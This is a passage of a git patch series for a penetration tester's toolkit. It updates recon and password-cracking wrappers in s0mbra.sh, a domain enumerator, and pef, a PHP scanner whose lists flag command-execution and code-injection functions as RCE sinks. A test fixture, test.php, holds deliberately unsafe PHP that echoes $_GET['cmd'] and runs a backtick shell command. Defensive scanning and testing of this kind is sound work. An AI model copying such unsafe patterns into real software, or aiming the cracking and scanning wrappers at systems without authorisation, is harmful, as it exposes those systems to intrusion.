help="Show all responses, including exceptions") + "-s", "--success", help="Show all responses, including exceptions", action='store_true') parser.add_argument( "-o", "--output", help="Path to text output file with all domains with identified web servers") parser.add_argument( @@ -488,7 +488,7 @@ def main(): "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200,206,301,302,403,422,500' ) parser.add_argument( - "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", default=100 + "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", action='store_true' ) parser.add_argument( "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 From 6459e8244f86a7dc812b52c9dd8cef9d9f8e3d4e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 4 Mar 2023 12:13:23 +0000 Subject: [PATCH 370/460] [denumerator] Open screenshot in fulls ize in new tab --- denumerator/denumerator.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index cd25a14..4a4c8aa 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -312,7 +312,9 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ - + + + From ccdc8c403050d94bb8b16746c687a060f62c16e0 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Mar 2023 13:08:31 +0000 Subject: [PATCH 371/460] [denumerator] fixed template (missing screenshot name) --- denumerator/denumerator.py | 1 + 1 file changed, 1 insertion(+) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 4a4c8aa..dad6987 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -340,6 +340,7 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ (http_status_code//100), element_class_name, screenshot_name, + screenshot_name, response_headers_html, ip_html, nmap_html From a89c1f697ff60d659ee382c2402a747670333cf9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 1 Jun 2023 20:15:05 +0100 Subject: [PATCH 372/460] [s0mbra] remove graupdit from pysast() due to very verbose output :P --- hexview/hexview.py | 3 +-- s0mbra.sh | 3 --- 2 files changed, 1 insertion(+), 5 deletions(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index 3a146d5..8467d2d 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -1,4 +1,4 @@ -#!/usr/bin/python3 +#!/usr/local/homebrew/bin/python3 """ based on: "Tutorial: Making your own Hex Dump Program" by DrapsTV https://www.youtube.com/watch?v=B8nRrw_M_nk&index=1&list=WL @@ -262,7 +262,6 @@ def format_chunk(chunk, start, stop, df_chunk=False, dec=False): "{} ".format(make_color(c, df_c)) for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) ) - print("TU: ", [c for c in chunk[start:stop]]) return " ".join("{} ".format(make_color(c)) for c in chunk[start:stop]) diff --git a/s0mbra.sh b/s0mbra.sh index 99c0fd8..f46c43e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -444,9 +444,6 @@ pysast() { echo -e "\n$BLUE[s0mbra] Running vulture against $DIR_NAME $CLR\n" python3 -m vulture $DIR_NAME - echo -e "\n$BLUE[s0mbra] Running graudit against $DIR_NAME $CLR\n" - graudit $1 - # cleanup rm -rf .mypy_cache echo -e "\n$BLUE[s0mbra] Done.$CLR" From b27b9a768f2338353f0de7938ee062ded2c9922f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 3 Jun 2023 01:53:01 +0100 Subject: [PATCH 373/460] [pef] refactoring --- pef/imports/pefdocs.py | 6 ++++++ pef/pef.py | 19 ++++++++++--------- pef/test.php | 3 +++ 3 files changed, 19 insertions(+), 9 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 3be2893..f0f7044 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -5,6 +5,12 @@ # 2nd element - syntax # 3rd element - possible vulnerability classes exploitableFunctionsDesc = { + "`": [ + "Allows to execute system command", + "`$command`", + "RCE", + "critical" + ], "system()": [ "Allows to execute system command passed as an argument", "system ( string $command [, int &$return_var ] ) : string", diff --git a/pef/pef.py b/pef/pef.py index 14fc868..586045b 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -25,6 +25,7 @@ # exploitable functions exploitableFunctions = [ + "`", "system(", "exec(", "popen(", @@ -43,7 +44,6 @@ "putenv(", "ini_set(", "mail(", - "header(", "unserialize(", "assert(", "call_user_func(", @@ -75,7 +75,6 @@ "print(", "printf(", "ldap_search(", - "header(", "sqlite_", "sqlite_query(", "pg_", @@ -183,14 +182,16 @@ def analyse_line(self, l, i, fn, f, line): """ res = None # there has to be space before function call; prevents from false-positives strings contains PHP function names - atfn = "@{}".format(fn) - fn = "{}".format(fn) + atfn = f"@{fn}" + fn = f"{fn}" # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed - if fn in line or atfn in line: - res = self.print_code_line( - f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level) + if fn == "`": + res = self.print_code_line(f.name, l, i, fn, self.severity, self.level) + else: + res = self.print_code_line( + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level) return res def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): @@ -215,8 +216,8 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" else: - print("{}{}:{}{}\t{}{}".format(beautyConsole.getColor( - "white"), file_name, i, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"), vuln_class)) + print("{}{}:{}\t{}{}\t{}\t{}{}".format(beautyConsole.getColor( + "white"), file_name, i, beautyConsole.getColor("grey"), vuln_class, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) found += 1 if impact not in severity.keys(): severity[impact] = 1 diff --git a/pef/test.php b/pef/test.php index f513700..3bb1f9e 100644 --- a/pef/test.php +++ b/pef/test.php @@ -4,3 +4,6 @@ echo $_GET['cmd']; } +`ls -lA`; +[]; + From a983c8a65605f0d102d269c4bd8f0341438b4440 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Jun 2023 10:31:04 +0100 Subject: [PATCH 374/460] [pef] refactoring --- pef/pef.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 586045b..f98b2de 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -216,8 +216,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" else: - print("{}{}:{}\t{}{}\t{}\t{}{}".format(beautyConsole.getColor( - "white"), file_name, i, beautyConsole.getColor("grey"), vuln_class, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) + print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, beautyConsole.getColor(impact_color[impact]), beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) found += 1 if impact not in severity.keys(): severity[impact] = 1 From a951dd5d463a26036ee737b68092aff9cc41130a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 13 Jun 2023 09:53:03 +0100 Subject: [PATCH 375/460] [s0mbra] added graphw00f to gql() --- s0mbra.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index f46c43e..27c985d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -589,9 +589,11 @@ jadx() { /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } -# executes graphql-cop against GraphQL endpoint +# executes grpahw00f graphql-cop against GraphQL endpoint gql() { clear + echo -e "$BLUE[s0mbra] Fingerprinting GraphQl endpoints on $1...$CYAN" + python3 /Users/bl4de/hacking/tools/graphw00f/main.py -d -f -t $1 echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CYAN" python3 /Users/bl4de/hacking/tools/graphql-cop/graphql-cop.py -t $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" From cf16da3318508336c2dd4d34ecda353c5ccff7f5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 19 Jun 2023 23:00:25 +0100 Subject: [PATCH 376/460] [s0mbra] Fix rockyou_john --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 27c985d..3f97098 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -78,7 +78,7 @@ rockyou_john() { echo -e "$BLUE[s0mbra] Running john with rockyou dictionary against $1 of type $2$CLR" echo > "$HACKING_HOME"/tools/jtr/run/john.pot if [[ -n $2 ]]; then - "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" --format="$2" + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" elif [[ -z $2 ]]; then "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" fi @@ -879,7 +879,7 @@ case "$cmd" in echo -e "$CYAN smb_umount $CLR" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" + echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR" echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" From 8b9014c846a8b6b389da72b4125fa9f489b7a88c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 19 Jun 2023 23:17:18 +0100 Subject: [PATCH 377/460] [s0mbra] john_pot to display POT file --- s0mbra.sh | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3f97098..6fa99a5 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -86,6 +86,13 @@ rockyou_john() { echo -e "\n$BLUE[s0mbra] Done." } +# show JTR's pot file +john_pot() { + echo -e "$BLUE[s0mbra] Joghn The Ripper pot file:$GRAY" + cat "$HACKING_HOME"/tools/jtr/run/john.pot + echo -e "\n$BLUE[s0mbra] Done." +} + # ZIP password cracking with rockyou.txt rockyou_zip() { echo -e "$BLUE[s0mbra] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." @@ -769,6 +776,9 @@ case "$cmd" in rockyou_zip) rockyou_zip "$2" ;; + john_pot) + john_pot + ;; ssh_to_john) ssh_to_john "$2" ;; @@ -879,8 +889,9 @@ case "$cmd" in echo -e "$CYAN smb_umount $CLR" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" + echo -e "$CYAN rockyou_john $GRAY[HASHES][FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR" + echo -e "$CYAN john_pot$CLR" echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" From 87b54957ac449803fff9037d916a94fe512b55a6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 22 Jun 2023 15:40:26 +0100 Subject: [PATCH 378/460] [s0mbra] simplify peek() output --- s0mbra.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 6fa99a5..56a8b4c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -281,8 +281,6 @@ peek() { echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" - echo -e "$GREEN\nHTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/s0mbra_recon_httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } From b6264ea183a28962d3afe001b217752518e18814 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 23 Jun 2023 11:46:43 +0100 Subject: [PATCH 379/460] [s0mbra] rename um() to unmin() --- s0mbra.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 56a8b4c..de33ed4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -113,7 +113,7 @@ ssh_to_john() { } # runs unminify on $1 JavaScript file -um() { +unmin() { FILENAME=$1 echo -e "$BLUE[s0mbra] Unminify $FILENAME...$CLR" unminify $FILENAME > unmimified.$FILENAME @@ -783,8 +783,8 @@ case "$cmd" in defcreds) defcreds "$2" ;; - um) - um "$2" + unmin) + unmin "$2" ;; snyktest) snyktest @@ -892,7 +892,7 @@ case "$cmd" in echo -e "$CYAN john_pot$CLR" echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR" From a923677d10a12255899d9ef223e5b6d1133e02c4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 24 Jun 2023 10:58:56 +0100 Subject: [PATCH 380/460] [s0mbra] Remove x8 --- s0mbra.sh | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index de33ed4..c62500e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -296,16 +296,14 @@ recon() { NIKTO="1" FFUF="1" FEROXBUSTER="1" - X8="1" SUBDOMANIZER="1" - SELECTED_OPTIONS="nmap, nikto, ffuf, x8, subdomanizer" + SELECTED_OPTIONS="nmap, nikto, ffuf, subdomanizer" else # set options: NMAP=$(echo $2|grep 'nmap'|wc -l) NIKTO=$(echo $2|grep 'nikto'|wc -l) VHOSTS=$(echo $2|grep 'vhosts'|wc -l) FFUF=$(echo $2|grep 'ffuf'|wc -l) - X8=$(echo $2|grep 'x8'|wc -l) SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) SELECTED_OPTIONS=$2 fi @@ -354,11 +352,6 @@ recon() { ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log fi - # x8 - if [[ $X8 -eq "1" ]]; then - x8 -u $PROTO://$HOSTNAME/ -w $DICT_HOME/urlparams.txt -c 10 - fi - # subdomanizer if [[ $SUBDOMANIZER -eq "1" ]]; then echo -e "\n$GREEN--> SubDomanizer$CLR\n" @@ -867,7 +860,7 @@ case "$cmd" in *) clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,x8,subdomanizer] [PROTO http/https]$CLR" + echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" From 69350fbba08032477c1c4231f57d9b1891c11c61 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 25 Jun 2023 01:40:53 +0100 Subject: [PATCH 381/460] [pef] --skip-vendor option to omit /vendor folder --- pef/pef.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index f98b2de..a157f33 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -154,14 +154,15 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, level, filename): + def __init__(self, recursive, level, filename, skip_vendor=False): """ constructor """ self.recursive = recursive # recursive scan files in folder(s) self.level = level # scan only for level set of functions self.filename = filename # name of file/folder to scan - + self.skip_vendor = skip_vendor + self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -250,6 +251,8 @@ def run(self): f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") if self.recursive: for root, subdirs, files in os.walk(self.filename): + if self.skip_vendor is True and "vendor" in root: + continue prev_filename = "" for f in files: extension = f.split('.')[-1:][0] @@ -282,6 +285,8 @@ def is_comment(self, line: str) -> bool: parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") + parser.add_argument( + "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default - ALL") parser.add_argument( @@ -295,5 +300,5 @@ def is_comment(self, line: str) -> bool: filename = args.file # main orutine starts here - engine = PefEngine(args.recursive, level, filename) + engine = PefEngine(args.recursive, level, filename, args.skip_vendor) engine.run() From 43bc88d4db31935c9fda7ad646903e9fda36ab6c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 26 Jun 2023 10:37:18 +0100 Subject: [PATCH 382/460] misc updates --- pef/pef.py | 1 - s0mbra.sh | 6 ++---- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index a157f33..3b6e501 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -210,7 +210,6 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] - vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] if (impact.upper() in level.upper()) or level == 'ALL': if len(_line) > 255: diff --git a/s0mbra.sh b/s0mbra.sh index c62500e..3950fbf 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -608,10 +608,8 @@ graphw00f() { # runs PHP SAST tools against PHP application php_sast() { clear - echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" - ./vendor/bin/phpstan analyse $1 - graudit $1 - phpcs --colors -vs $1 + echo -e "$BLUE[s0mbra] Running static code analysis...$CYAN" + semgrep scan --config=auto --sarif -o ./semgrep.sarif $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From d4eb1d277d10965a9a27247263411e7e5959024a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 27 Jul 2023 00:26:47 +0200 Subject: [PATCH 383/460] [s0mbra] update phpsast --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3950fbf..70f72c7 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -609,7 +609,7 @@ graphw00f() { php_sast() { clear echo -e "$BLUE[s0mbra] Running static code analysis...$CYAN" - semgrep scan --config=auto --sarif -o ./semgrep.sarif $1 + semgrep scan --config=auto --severity ERROR --dataflow-traces --sarif -o ./semgrep.sarif $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 24dd07b90fc4f71abebdcfab6a3c41ec4f79bba5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 15 Sep 2023 17:10:35 +0100 Subject: [PATCH 384/460] [s0mbra] create sarif file using filename (php_sast()) --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 70f72c7..5936796 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -609,7 +609,7 @@ graphw00f() { php_sast() { clear echo -e "$BLUE[s0mbra] Running static code analysis...$CYAN" - semgrep scan --config=auto --severity ERROR --dataflow-traces --sarif -o ./semgrep.sarif $1 + semgrep scan --config=auto --severity ERROR --dataflow-traces --sarif -o ./$1.sarif $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From b6800a8d1e19402c8f69873872cdf46e7c8b8fbc Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 01:39:22 +0100 Subject: [PATCH 385/460] [pef] Filter results type by sinks/sources --- pef/imports/pefdocs.py | 3 ++- pef/pef.py | 41 ++++++++++++++++++++++++++++------------- 2 files changed, 30 insertions(+), 14 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index f0f7044..4523c62 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -93,7 +93,8 @@ "Import variables into the current symbol table from an array", "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", "Code Injection", - "high" + "high", + "sink" ], "ini_set()": [ "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", diff --git a/pef/pef.py b/pef/pef.py index 3b6e501..7274cf0 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -154,7 +154,7 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, level, filename, skip_vendor=False): + def __init__(self, recursive, level, source_or_sink, filename, skip_vendor=False): """ constructor """ @@ -162,7 +162,8 @@ def __init__(self, recursive, level, filename, skip_vendor=False): self.level = level # scan only for level set of functions self.filename = filename # name of file/folder to scan self.skip_vendor = skip_vendor - + self.source_or_sink = source_or_sink + self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -189,13 +190,14 @@ def analyse_line(self, l, i, fn, f, line): # @ prevents from output being echoed if fn in line or atfn in line: if fn == "`": - res = self.print_code_line(f.name, l, i, fn, self.severity, self.level) + res = self.print_code_line( + f.name, l, i, fn, self.severity, self.level, self.source_or_sink) else: res = self.print_code_line( - f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level) + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, self.source_or_sink) return res - def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): + def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): """ prints formatted code line """ @@ -209,15 +211,17 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): found = 0 # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): - impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] + doc = pefdocs.exploitableFunctionsDesc.get(fn.strip()) + impact = doc[3] if (impact.upper() in level.upper()) or level == 'ALL': - if len(_line) > 255: - _line = _line[:120] + \ - f" (...truncated -> line is {len(_line)} characters long)" - else: - print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, beautyConsole.getColor(impact_color[impact]), beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) - found += 1 + if len(doc) == 5 and source_or_sink == doc[4] or source_or_sink == 'ALL': + if len(_line) > 255: + _line = _line[:120] + \ + f" (...truncated -> line is {len(_line)} characters long)" + print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, beautyConsole.getColor( + impact_color[impact]), beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) + found += 1 if impact not in severity.keys(): severity[impact] = 1 else: @@ -273,6 +277,7 @@ def is_comment(self, line: str) -> bool: line = re.sub(r"\s+", "", line) return line.startswith("/") or line.startswith("*") + # main program if __name__ == "__main__": @@ -288,6 +293,10 @@ def is_comment(self, line: str) -> bool: "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default - ALL") + parser.add_argument( + "-S", "--source", help="show only sources", action="store_true") + parser.add_argument( + "-K", "--sink", help="show only sinks", action="store_true") parser.add_argument( "-f", "--file", @@ -296,8 +305,14 @@ def is_comment(self, line: str) -> bool: args = parser.parse_args() level = args.level.upper() if args.level else 'ALL' + source_or_sink = 'ALL' + if args.source: + source_or_sink = 'source' + if args.sink: + source_or_sink = 'sink' + filename = args.file # main orutine starts here - engine = PefEngine(args.recursive, level, filename, args.skip_vendor) + engine = PefEngine(args.recursive, level, source_or_sink, filename, args.skip_vendor) engine.run() From aced1a1c2fd205ad8f2f6700837ca3a8ee6365a5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 01:45:23 +0100 Subject: [PATCH 386/460] [pef] Filter results type by sinks/sources --- pef/imports/pefdocs.py | 192 +++++++++++++++++++++++++++-------------- 1 file changed, 128 insertions(+), 64 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 4523c62..1863d39 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -9,43 +9,50 @@ "Allows to execute system command", "`$command`", "RCE", - "critical" + "critical", + "sink" ], "system()": [ "Allows to execute system command passed as an argument", "system ( string $command [, int &$return_var ] ) : string", "RCE", - "critical" + "critical", + "sink" ], "exec()": [ "exec - Execute an external program", "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", "RCE", - "critical" + "critical", + "sink" ], "call_user_func_array()": [ "Call a callback with an array of parameters", "call_user_func_array ( callable $callback , array $param_arr ) : mixed", "RCE", - "high" + "high", + "sink" ], "parse_url()": [ "parse_url — Parse a URL and return its components", "parse_url(string $url, int $component = -1): mixed", "SSRF, Filter Bypass", - "medium" + "medium", + "sink" ], "parse_str()": [ "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", "parse_str ( string $encoded_string [, array &$result ] ) : void" "Code Injection", - "high" + "high", + "sink" ], "eval()": [ "Evaluate a string as PHP code", "eval ( string $code ) : mixed", "RCE", - "critical" + "critical", + "sink" ], "preg_replace()": [ "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", @@ -57,37 +64,43 @@ "DEPRECATED as of PHP 7.2.0 - Create an anonymous (lambda-style) function. Creates an anonymous function from the parameters passed, and returns a unique name for it.", "create_function ( string $args , string $code ) : string", "Code Injection, RCE", - "medium" + "medium", + "sink" ], "passthru()": [ "Execute an external program and display raw output", "passthru ( string $command [, int &$return_var ] ) : void", "RCE", - "critical" + "critical", + "sink" ], "shell_exec()": [ "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", "shell_exec ( string $cmd ) : string", "RCE", - "critical" + "critical", + "sink" ], "popen()": [ "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", "popen ( string $command , string $mode ) : resource", "Code Injection", - "medium" + "medium", + "sink" ], "proc_open()": [ "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program execution.", "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", "Code Injection", - "medium" + "medium", + "sink" ], "pcntl_exec()": [ "Executes the program with the given arguments.", "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", "RCE", - "critical" + "critical", + "sink" ], "extract()": [ "Import variables into the current symbol table from an array", @@ -106,7 +119,8 @@ "Sends an email.", "mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool", "Arbitrary mail sending", - "low" + "low", + "sink" ], "echo": [ "Outputs all parameters. No additional newline is appended.", @@ -118,7 +132,8 @@ "unserialize() takes a single serialized variable and converts it back into a PHP value.", "unserialize ( string $str [, array $options ] ) : mixed", "Code Injection, RCE (in certain conditions)", - "high" + "high", + "sink" ], "assert()": [ "assert() will check the given assertion and take appropriate action if its result is FALSE. If the assertion is given as a string it will be evaluated as PHP code by assert() - ONLY PNP <7.2.0", @@ -130,115 +145,134 @@ "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", "call_user_func 